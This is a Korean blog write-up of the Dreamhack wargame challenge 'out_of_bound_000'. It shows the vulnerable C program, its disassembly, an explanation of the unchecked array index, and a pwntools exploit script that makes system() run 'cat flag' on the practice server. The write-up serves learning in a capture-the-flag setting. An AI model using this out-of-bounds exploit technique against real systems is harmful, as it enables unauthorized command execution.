본문 바로가기

드림핵 워게임

[드림핵/워게임] out_of_bound_000

https://dreamhack.io/wargame/challenges/9

 

off_by_one_000

Description 이 문제는 서버에서 작동하고 있는 서비스(off_by_one_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요. 셸을 획득한 후, "

dreamhack.io

 

문제 파일을 다운 받으면 out_of_bound.c와 실행 파일이 있다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}
0x080486cb <+0>:     lea    ecx,[esp+0x4]
   0x080486cf <+4>:     and    esp,0xfffffff0
   0x080486d2 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080486d5 <+10>:    push   ebp
   0x080486d6 <+11>:    mov    ebp,esp
   0x080486d8 <+13>:    push   ecx
   0x080486d9 <+14>:    sub    esp,0x14
   0x080486dc <+17>:    mov    eax,gs:0x14
   0x080486e2 <+23>:    mov    DWORD PTR [ebp-0xc],eax
   0x080486e5 <+26>:    xor    eax,eax
   0x080486e7 <+28>:    call   0x804867b <initialize>
   0x080486ec <+33>:    sub    esp,0xc
   0x080486ef <+36>:    push   0x8048811
   0x080486f4 <+41>:    call   0x80484b0 <printf@plt>
   0x080486f9 <+46>:    add    esp,0x10
   0x080486fc <+49>:    sub    esp,0x4
   0x080486ff <+52>:    push   0x10
   0x08048701 <+54>:    push   0x804a0ac
   0x08048706 <+59>:    push   0x0
   0x08048708 <+61>:    call   0x80484a0 <read@plt>
   0x0804870d <+66>:    add    esp,0x10
   0x08048710 <+69>:    sub    esp,0xc
   0x08048713 <+72>:    push   0x804881e
   0x08048718 <+77>:    call   0x80484b0 <printf@plt>
   0x0804871d <+82>:    add    esp,0x10
   0x08048720 <+85>:    sub    esp,0x8
   0x08048723 <+88>:    lea    eax,[ebp-0x10]
   0x08048726 <+91>:    push   eax
   0x08048727 <+92>:    push   0x8048832
   0x0804872c <+97>:    call   0x8048540 <__isoc99_scanf@plt>
   0x08048731 <+102>:   add    esp,0x10
   0x08048734 <+105>:   mov    eax,DWORD PTR [ebp-0x10]
   0x08048737 <+108>:   mov    eax,DWORD PTR [eax*4+0x804a060]
   0x0804873e <+115>:   sub    esp,0xc
   0x08048741 <+118>:   push   eax
   0x08048742 <+119>:   call   0x8048500 <system@plt>
   0x08048747 <+124>:   add    esp,0x10
   0x0804874a <+127>:   mov    eax,0x0
   0x0804874f <+132>:   mov    edx,DWORD PTR [ebp-0xc]
   0x08048752 <+135>:   xor    edx,DWORD PTR gs:0x14
   0x08048759 <+142>:   je     0x8048760 <main+149>
   0x0804875b <+144>:   call   0x80484e0 <__stack_chk_fail@plt>
   0x08048760 <+149>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048763 <+152>:   leave
   0x08048764 <+153>:   lea    esp,[ecx-0x4]
   0x08048767 <+156>:   ret

 

1. 이름을 입력받는다.

2. idx를 입력받는다.

3. idx에 해당하는 command를 실행한다.

 

idx의 범위를 따로 검사하지 않으므로 command가 아닌 다른 변수에도 접근할 수 있어 보인다.

 

어셈블리어를 봤을 때 name의 주소는 0x804a0ac, command의 주소는 0x804a060인 것을 알 수 있다.

 

둘의 차이는 76이고, 하나당 4바이트씩 차지하므로, 76 / 4 = 19가 나온다.

 

따라서 name의 위치는 command[19]이다.

system 함수는 외부 라이브러리이기 때문에 변수 주소 (4바이트) + exec_code (인수) 로 구성되어 있다. 따라서 name + 4의 값과 cat flag를 인수로 줘야 한다.

 

이를 그대로 코드로 짜 보면 다음과 같다.

 

from pwn import *

p = remote("host3.dreamhack.games",11190)

p.recvuntil(b"name: ")
p.send(p32(0x804a0ac+4) + b"cat flag")
p.sendafter(b"want?: ", b'19')

p.interactive()